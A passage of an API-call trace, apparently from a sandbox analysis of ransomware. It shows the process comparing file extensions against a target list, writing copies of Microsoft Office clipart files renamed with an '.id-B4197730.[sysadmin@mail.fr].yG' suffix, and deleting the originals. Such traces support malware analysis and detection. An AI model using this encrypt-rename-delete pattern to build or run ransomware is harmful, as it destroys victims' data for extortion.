	[0056.900] lstrlenW (lpString=".doc") returned 4
	[0056.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString=".docx") returned 5
	[0056.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.900] lstrlenW (lpString=".pdf") returned 4
	[0056.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString=".xls") returned 4
	[0056.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.900] lstrlenW (lpString=".xlsx") returned 5
	[0056.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.900] lstrlenW (lpString=".ppt") returned 4
	[0056.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0056.900] lstrlenW (lpString=".zip") returned 4
	[0056.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.900] lstrlenW (lpString=".rar") returned 4
	[0056.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString=".bz2") returned 4
	[0056.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString=".7z") returned 3
	[0056.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0056.900] lstrlenW (lpString=".dbf") returned 4
	[0056.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0056.900] lstrlenW (lpString=".1cd") returned 4
	[0056.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0056.901] lstrlenW (lpString=".jpg") returned 4
	[0056.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.901] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.901] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.901] GetLastError () returned 0x0
	[0056.901] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x68c, lpOverlapped=0x0) returned 1
	[0056.903] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x690, lpOverlapped=0x0) returned 1
	[0056.904] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.904] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.904] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.904] CloseHandle (hObject=0x2f4) returned 1
	[0056.905] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.905] SetEndOfFile (hFile=0x350) returned 1
	[0056.906] CloseHandle (hObject=0x350) returned 1
	[0056.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1
	[0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.906] lstrlenW (lpString=".doc") returned 4
	[0056.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.906] lstrlenW (lpString=".docx") returned 5
	[0056.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.906] lstrlenW (lpString=".pdf") returned 4
	[0056.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.906] lstrlenW (lpString=".xls") returned 4
	[0056.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.906] lstrlenW (lpString=".xlsx") returned 5
	[0056.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.907] lstrlenW (lpString=".ppt") returned 4
	[0056.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.907] lstrlenW (lpString=".zip") returned 4
	[0056.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.907] lstrlenW (lpString=".rar") returned 4
	[0056.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.907] lstrlenW (lpString=".bz2") returned 4
	[0056.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.907] lstrlenW (lpString=".7z") returned 3
	[0056.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.907] lstrlenW (lpString=".dbf") returned 4
	[0056.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.907] lstrlenW (lpString=".1cd") returned 4
	[0056.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0056.907] lstrlenW (lpString=".jpg") returned 4
	[0056.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.907] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.907] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.908] GetLastError () returned 0x0
	[0056.908] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xf38, lpOverlapped=0x0) returned 1
	[0056.928] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf40, lpOverlapped=0x0) returned 1
	[0056.929] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.929] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.929] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.930] CloseHandle (hObject=0x2f4) returned 1
	[0056.930] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.930] SetEndOfFile (hFile=0x350) returned 1
	[0056.931] CloseHandle (hObject=0x350) returned 1
	[0056.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString=".doc") returned 4
	[0056.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString=".docx") returned 5
	[0056.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.932] lstrlenW (lpString=".pdf") returned 4
	[0056.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString=".xls") returned 4
	[0056.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.932] lstrlenW (lpString=".xlsx") returned 5
	[0056.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.932] lstrlenW (lpString=".ppt") returned 4
	[0056.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString=".zip") returned 4
	[0056.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.932] lstrlenW (lpString=".rar") returned 4
	[0056.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString=".bz2") returned 4
	[0056.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString=".7z") returned 3
	[0056.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString=".dbf") returned 4
	[0056.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString=".1cd") returned 4
	[0056.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0056.932] lstrlenW (lpString=".jpg") returned 4
	[0056.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.036] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.036] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.037] GetLastError () returned 0x0
	[0057.037] ReadFile (in: hFile=0x2d0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1c08, lpOverlapped=0x0) returned 1
	[0057.052] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0057.053] ReadFile (in: hFile=0x2d0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.053] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.053] SetEndOfFile (hFile=0x388) returned 1
	[0057.053] CloseHandle (hObject=0x388) returned 1
	[0057.054] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.054] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.055] CloseHandle (hObject=0x2d0) returned 1
	[0057.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString=".doc") returned 4
	[0057.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString=".docx") returned 5
	[0057.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.056] lstrlenW (lpString=".pdf") returned 4
	[0057.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString=".xls") returned 4
	[0057.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.056] lstrlenW (lpString=".xlsx") returned 5
	[0057.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.056] lstrlenW (lpString=".ppt") returned 4
	[0057.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString=".zip") returned 4
	[0057.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.056] lstrlenW (lpString=".rar") returned 4
	[0057.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString=".bz2") returned 4
	[0057.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString=".7z") returned 3
	[0057.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString=".dbf") returned 4
	[0057.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString=".1cd") returned 4
	[0057.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0057.056] lstrlenW (lpString=".jpg") returned 4
	[0057.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.062] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.063] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.063] GetLastError () returned 0x0
	[0057.063] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2040, lpOverlapped=0x0) returned 1
	[0057.066] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x2050, lpOverlapped=0x0) returned 1
	[0057.067] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.067] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.067] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.067] CloseHandle (hObject=0x2f4) returned 1
	[0057.068] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.068] SetEndOfFile (hFile=0x390) returned 1
	[0057.069] CloseHandle (hObject=0x390) returned 1
	[0057.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1
	[0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.069] lstrlenW (lpString=".doc") returned 4
	[0057.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString=".docx") returned 5
	[0057.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.070] lstrlenW (lpString=".pdf") returned 4
	[0057.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString=".xls") returned 4
	[0057.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.070] lstrlenW (lpString=".xlsx") returned 5
	[0057.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.070] lstrlenW (lpString=".ppt") returned 4
	[0057.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.070] lstrlenW (lpString=".zip") returned 4
	[0057.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.070] lstrlenW (lpString=".rar") returned 4
	[0057.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString=".bz2") returned 4
	[0057.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString=".7z") returned 3
	[0057.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.070] lstrlenW (lpString=".dbf") returned 4
	[0057.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.070] lstrlenW (lpString=".1cd") returned 4
	[0057.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0057.070] lstrlenW (lpString=".jpg") returned 4
	[0057.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.071] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.071] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.071] GetLastError () returned 0x0
	[0057.071] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xa82, lpOverlapped=0x0) returned 1
	[0057.090] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xa90, lpOverlapped=0x0) returned 1
	[0057.090] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.090] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.090] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.091] CloseHandle (hObject=0x2f4) returned 1
	[0057.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.091] SetEndOfFile (hFile=0x390) returned 1
	[0057.092] CloseHandle (hObject=0x390) returned 1
	[0057.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1
	[0057.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.093] lstrlenW (lpString=".doc") returned 4
	[0057.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.093] lstrlenW (lpString=".docx") returned 5
	[0057.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.093] lstrlenW (lpString=".pdf") returned 4
	[0057.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.093] lstrlenW (lpString=".xls") returned 4
	[0057.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.093] lstrlenW (lpString=".xlsx") returned 5
	[0057.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.093] lstrlenW (lpString=".ppt") returned 4
	[0057.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.093] lstrlenW (lpString=".zip") returned 4
	[0057.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.093] lstrlenW (lpString=".rar") returned 4
	[0057.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.093] lstrlenW (lpString=".bz2") returned 4
	[0057.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.093] lstrlenW (lpString=".7z") returned 3
	[0057.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.093] lstrlenW (lpString=".dbf") returned 4
	[0057.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
